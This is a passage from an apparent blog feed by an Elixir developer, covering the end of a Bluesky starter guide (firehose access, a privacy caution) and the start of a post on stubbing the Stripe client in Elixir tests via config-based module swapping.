&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#14-consume-the-bluesky-firehose&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;14-consume-the-bluesky-firehose&quot;&gt;&lt;/a&gt;14. Consume the Bluesky Firehose&lt;/h2&gt;
&lt;p&gt;Bluesky offers a public firehose which sends you everything that&apos;s happening. You can connect to either the simplified, JSON-based firehose &lt;a href=&quot;https://github.com/bluesky-social/jetstream&quot;&gt;Jetstream&lt;/a&gt; or the CBOR-encoded &lt;a href=&quot;https://docs.bsky.app/docs/advanced-guides/firehose&quot;&gt;Firehose&lt;/a&gt; directly. I streamed about how to connect to the Firehose &lt;a href=&quot;https://www.youtube.com/watch?v=Wz9oV6c4fy4&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&quot;https://github.com/Azolo/websockex&quot;&gt;WebSockex&lt;/a&gt; to establish the WebSocket connection and &lt;a href=&quot;https://github.com/scalpel-software/cbor&quot;&gt;CBOR&lt;/a&gt; to decode the CBOR packages. However, I ended up deleting the CBOR step and connect to the JSON-based Jetstream firehose directly.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#15-follow-me-maybe&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;15-follow-me-maybe&quot;&gt;&lt;/a&gt;15. Follow me, maybe?&lt;/h2&gt;
&lt;p&gt;As a terminally online person, it was hard for me to leave X, but I&apos;m more than happy to spend most of my waking hours on Bluesky now. If you liked this article, maybe &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;give me a follow&lt;/a&gt; over there and let&apos;s continue the conversation. See you in the sky!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#extra-warning---youre-being-watched&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;extra-warning---youre-being-watched&quot;&gt;&lt;/a&gt;Extra: Warning - You&apos;re being watched&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;-- tin foil hat on --&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One note of caution: Bluesky is a &lt;strong&gt;truly&lt;/strong&gt; public network. Everyone can see everything, and anyone can connect to the &lt;a href=&quot;https://docs.bsky.app/docs/advanced-guides/firehose&quot;&gt;firehose&lt;/a&gt;, or the JSON-based &lt;a href=&quot;https://github.com/bluesky-social/jetstream&quot;&gt;Jetstream&lt;/a&gt;, and collect and store &lt;em&gt;everything&lt;/em&gt;. This is different from X, which removed public access to their firehose and - at least in the pre-Elon times - blocked even the CIA and FBI from accessing it, at least &lt;a href=&quot;https://www.theverge.com/2016/11/14/13629248/fbi-dataminr-twitter-surveillance-contract-scanning-police&quot;&gt;most of the time&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, when you post on Bluesky, you can be almost certain that all major law enforcement agencies will collect and store your content for all eternity given their &lt;a href=&quot;https://docs.bsky.app/docs/advanced-guides/firehose&quot;&gt;unfiltered and unlimited access&lt;/a&gt; to &lt;a href=&quot;https://docs.bsky.app/docs/advanced-guides/backfill&quot;&gt;everything that has happened&lt;/a&gt; on the platform.&lt;/p&gt;
&lt;p&gt;Just to be clear: If your X account is public, they were probably already able to do this because they can scrape your public tweets, likes, replies, and retweets. However, scraping at this scale is infinitely more difficult than connecting to an API that gives you the data in a machine-readable format.&lt;/p&gt;
&lt;p&gt;And to be double-clear: This is almost certainly happening on Mastodon as well because anyone can start their own instance, connect to the fediverse, and listen to everything. In fact, &lt;strong&gt;any&lt;/strong&gt; distributed social network will face this issue unless they grant network access only to select instances.&lt;/p&gt;
&lt;p&gt;And to be triple-clear: Even private social networks comply with law enforcements and frequently hand over user data if instructed to do so. Funny enough, &lt;a href=&quot;https://qz.com/elon-musk-x-twitter-transparency-brazil-turkey-tesla-1851656960&quot;&gt;X complies with many more requests (71%)&lt;/a&gt; than Twitter ever did (20-30%)!&lt;/p&gt;
&lt;p&gt;All this to say: If you post on Bluesky, Mastodon, and probably now also X, be mindful about what you post and don&apos;t incriminate yourself.&lt;br /&gt;
That&apos;s all!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;-- tin foil hat off --&lt;/em&gt;&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/a-bluesky-starter-guide-for-elixir-devs"/>
    <id>https://peterullrich.com/a-bluesky-starter-guide-for-elixir-devs</id>
    <title>A Bluesky Starter Guide for Elixir Devs</title>
    <updated>2024-11-16T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, today&apos;s article is a quick one, but let me start with the obligatory dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What&amp;#39;s red and bad for your teeth?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;A brick
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alrighty, today&apos;s post is about a quick and easy approach to mocking in Elixir tests.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Update: After publishing this blog post, my good friend and favourite nit-picker, Tobi Pfeiffer, &lt;a href=&quot;https://x.com/PragTob/status/1849364518704443630&quot;&gt;pointed out on X&lt;/a&gt; that the &quot;Mock&quot; described here is actually a Stub. Unsurprisingly, given that from the five smartest people in a room, Tobi is three of them, he was right. I added a section on this topic to the end of the post. Thank you, Tobi ❤️&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;I&apos;m a big believer in testing. I love writing tests and making them exhaustive. Writing tests is just as much of a skill as writing your application code, and the earlier you start practicing, the easier and faster it will become. As I develop my application, I frequently add small test cases that only contain &lt;code&gt;assert false&lt;/code&gt; to remind myself of edge cases that I need to handle. But whether you love writing tests or you only practice &quot;guilt-based testing&quot;, as Chris McCord does, there&apos;s one problem that you will always encounter: how to mock external dependencies.&lt;/p&gt;
&lt;p&gt;There are plenty of mocking libraries out there like &lt;a href=&quot;https://github.com/jjh42/mock&quot;&gt;mock&lt;/a&gt;, &lt;a href=&quot;https://github.com/dashbitco/mox&quot;&gt;mox&lt;/a&gt;, or &lt;a href=&quot;https://github.com/edgurgel/mimic&quot;&gt;mimic&lt;/a&gt;, and they all work pretty well. AppSignal wrote a helpful guide for them &lt;a href=&quot;https://blog.appsignal.com/2023/04/11/an-introduction-to-mocking-tools-for-elixir.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However, I&apos;d like to propose a much simpler and dependency-free alternative to mocking your external dependencies. In fact, José Valim himself wrote about this approach already in 2015 &lt;a href=&quot;https://dashbit.co/blog/mocks-and-explicit-contracts&quot;&gt;here&lt;/a&gt;! The approach is simple: Just replace your dependency module with a mock during tests.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Let&apos;s say that you depend on the Stripe API in your application like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Invoices&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_invoice_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.Invoice&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.Invoice&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;hosted_invoice_url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.ApiErrors&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;message: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code uses the wonderful &lt;a href=&quot;https://hexdocs.pm/stripity_stripe/readme.html&quot;&gt;StripityStripe&lt;/a&gt; library to interact with the Stripe API. But how can we mock this dependency in our tests? Easy! We change the Stripe module that our code uses based on the environment!&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/config.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;stripe: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/test.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;stripe: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Support.StripeMock&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and in our code, we fetch the dependency during compile time:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/my_app/invoices.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Invoices&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;stripe &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;compile_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:stripe&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_invoice_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;stripe&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Invoice&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.Invoice&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;hosted_invoice_url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.ApiErrors&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;message: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we set the dependency during compile time and not runtime as &lt;a href=&quot;https://dashbit.co/blog/mocks-and-explicit-contracts&quot;&gt;José&apos;s blog&lt;/a&gt; from 2015 describes. Since Elixir 1.17 (I believe), you get an error if you try to call a sub-module of a runtime dependency.&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;stripe&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;stripe&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Invoice&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;foobar&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;error&lt;/span&gt;: &lt;span style=&quot;color: #d2a8ff;&quot;&gt;invalid&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;alias: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;stripe.Invoice&quot;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;If&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;you&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;wanted&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;define&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;an&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;an&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;must&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;expand&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;an&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;atom&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;at&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;compile&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;time&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;but&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;it&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;did&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;not&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;you&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;may&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Module&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;concat&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt; to build it at runtime&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;If&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;stead&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;you&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;wanted&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;invoke&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;or&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;access&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;wrap&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;the&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;or&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;double&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;quotes&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;└─ &lt;span style=&quot;color: #d2a8ff;&quot;&gt;iex&lt;/span&gt;:&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;
